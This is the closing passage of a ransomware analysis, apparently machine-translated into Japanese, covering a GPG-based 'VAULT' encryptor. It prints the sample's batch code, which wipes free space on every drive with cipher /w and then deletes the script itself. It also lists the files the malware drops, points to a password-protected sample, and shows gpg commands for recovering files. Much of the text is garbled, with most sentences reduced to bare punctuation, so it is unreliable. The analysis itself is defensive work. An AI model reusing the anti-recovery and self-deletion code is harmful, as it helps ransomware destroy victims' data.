 if exist "%systemroot%\system32\cipher.exe" ( FOR %%s IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :461cd8b8 %%s goto 3c5d9ac8 :461cd8b8 cipher /w:%1: goto:eof :3c5d9ac8 )
      
      





最後のコードは、ユーザーのPCからの悪意のあるスクリプトの自己削除です。



 del /f /q %0 :871c371d
      
      





存在しなかった...




, , : " Condemn the Infected ", .

, , .)






5アルゴリズムとファイル





前のセクションの要約:)








メインスクリプトによって作成されるメインファイル:




:

  • 03dfb98e.7087b06e



    — ;
  • 21b0fb7b.7ca0ec0c



    — «» , ;
  • 3637bf69.36ddf8fe



    — «» VAULT.KEY



    : , , ;
  • 4077430c_VAULT.KEY



    — -, VAULT.KEY



    ;
  • 59665d79.vbs



    — ;
  • 61231f25.9db8b89a



    — «» ;
  • 69aca909.cmd



    — ( 59665d79.vbs



    );
  • 9480bf43.76a94786



    — - , ;
  • acda3f33.js



    69aca909.cmd



    ;
  • CONFIRMATION.KEY



    — , ;
  • ddae25beb5b57d6e.hta



    — ( HTML Application ), , , ;
  • gpg.exe



    GPG



    ;
  • install.bat



    — ;
  • pubring.bak



    GPG



    ;
  • pubring.gpg



    GPG



    ;
  • pubring.gpg.lock



    GPG



    ;
  • random_seed



    GPG



    ;
  • secring.gpg



    GPG



    ;
  • secring.gpg.lock



    GPG



    ;
  • trustdb.gpg



    GPG



    ;
  • trustdb.gpg.lock



    GPG



    ;
  • VAULT.KEY



    — , ;
  • VAULT.txt



    — , , .


サンプル(リンクは上にありました。ここでは念のため複製します)。パスワード=「ウイルス」。



注意:
, , , .



, %Temp%



9480bf43.76a94786



, install.bat



.



« », . , «library_user», .



, ( 3637bf69.36ddf8fe



), , , .



:



 gpg --import 3637bf69.36ddf8fe
      
      





:



 gpg --decrypt --output test.docx test.docx.vault
      
      





--output



, .vault



, .gpg



. test.docx.vault



test.docx.gpg



, --decrypt-files



:



 gpg --decrypt-files test.docx.gpg
      
      





: test.docx



.



GPG



[rus] [.].





6結論





最初のアコーディオンと悲しい結論:アンチウイルスは万能薬ではありません。



まあ、ほぼすべてのアンチウイルス...
.



JS-:





BAT-:





, , Dr.Web — . , .)



, , …



JS:





BAT:





, ?



2番目の悲しい、ボタンアコーディオンの結論:ユーザーは、アーカイブ、アプリケーション、リンク、そして一般的にはメールに届くすべてのものを引き続き開き続けます。



彼らを何かのせいにするのは難しいです。誰もが自分のスキルと能力を持っています。今、私が簿記や購入のために置いておくと、私もそれがおかしくなると思います。))



彼らが言うように、長生きするふわふわの石鹸、香りのよいタオル、情報セキュリティの説明!



注意:
, : , .



3番目の結論、ボタンアコーディオンと悲しい:バックアップが必要便利です



それだけです。ご清聴ありがとうございました。



ユーザーがこのような厄介なものをイントラネットに持ち込まないことを願っています。



All Articles